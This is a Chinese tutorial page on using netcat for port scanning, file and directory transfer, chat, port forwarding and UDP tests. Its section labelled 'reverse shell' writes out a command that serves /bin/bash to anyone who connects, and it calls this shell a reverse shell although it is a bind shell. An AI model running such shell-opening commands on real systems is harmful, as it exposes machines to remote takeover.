Skip to content

nc 工具

一.nc简介

nc(netcat)是一个功能强大的网络工具,被誉为"TCP/IP瑞士军刀"。它可以用于端口扫描、传输文件、建立连接、端口转发等多种网络操作。nc 是网络管理员和系统管理员必备的工具之一。

二.nc工具安装

bash
sudo apt-get install netcat-openbsd

三.nc使用

1.nc命令的参数

参数说明示例
-n不解析域名,直接显示 IP 地址-n
-v / -vv显示详细输出-v-vv
-z零 I/O 模式,仅扫描端口不传输数据-z
-w <seconds>设置连接超时时间-w 3
-l监听模式-l
-p <port>指定本地端口-p 8080
-e <command>连接成功后执行命令-e /bin/bash
-u使用 UDP 协议-u
-k持续监听(需配合 -l-k

2.nc命令的用法

(1).扫描端口

bash
nc -zv 192.168.1.1 80
bash
nc -zv 192.168.1.1 20-100
bash
nc -zv -w 3 192.168.1.1 22

(2).建立 TCP 连接

bash
nc 192.168.1.1 80

连接后可发送 HTTP 请求:

bash
GET / HTTP/1.1
Host: example.com

(3).监听端口

bash
nc -l -p 8080
bash
nc -l -p 8080 -v

(4).传输文件

发送端:

bash
nc -l -p 8080 < file.txt

接收端:

bash
nc 192.168.1.1 8080 > received.txt

(5).传输目录

发送端:

bash
tar -cvf - /path/to/dir | nc -l -p 8080

接收端:

bash
nc 192.168.1.1 8080 | tar -xvf -

(6).聊天功能

用户 A(监听):

bash
nc -l -p 8080

用户 B(连接):

bash
nc 192.168.1.1 8080

(7).端口转发

bash
nc -l -p 8080 -c "nc target_server 80"

(8).测试 UDP 端口

bash
nc -zv -u 192.168.1.1 53

(9).反向 shell

目标机(监听):

bash
nc -l -p 8080 -e /bin/bash

攻击机(连接):

bash
nc 192.168.1.1 8080

(10).保持连接活跃

bash
nc -w 0 192.168.1.1 80

四.实用建议

  • 端口扫描:使用 -z-w 参数快速扫描端口
  • 文件传输:nc 传输文件简单高效,适合小文件快速传输
  • 安全注意:避免在生产环境使用 -e 参数,防止安全风险
  • 调试网络:nc 是调试网络连接的优秀工具,可以模拟各种 TCP/UDP 服务
  • 防火墙测试:可用于测试防火墙规则是否生效